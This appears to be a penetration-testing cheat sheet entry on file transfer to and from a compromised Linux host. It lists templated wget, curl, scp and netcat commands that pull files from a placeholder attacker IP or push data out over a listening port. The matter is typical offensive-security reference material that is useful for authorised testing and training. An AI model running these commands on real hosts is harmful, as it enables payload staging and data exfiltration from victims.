🛠️ Command
Wget Download
Download a file from an HTTP/HTTPS URL.
wget http://{{attacker_ip}}/{{file}} -O {{output_path}}Curl Download
Fetch a file and save it to the local system.
curl http://{{attacker_ip}}/{{file}} -o {{output_path}}SCP (Secure Copy)
Transfer a file over SSH.
scp {{username}}@{{attacker_ip}}:{{remote_path}} {{local_path}}Netcat File Transfer (Receive)
Listen on a port and save incoming data to a file.
nc -l -p {{port}} > {{output_file}}Netcat File Transfer (Send)
Send a file to a listening netcat instance on the target.
nc {{target_ip}} {{port}} < {{input_file}}📝 Description
Techniques for transferring files to and from a compromised Linux host.
These commands utilize standard Linux utilities (wget, curl, nc) to move data. Netcat is particularly useful as a fallback when HTTP-based methods are restricted or when firewall rules allow specific outbound ports.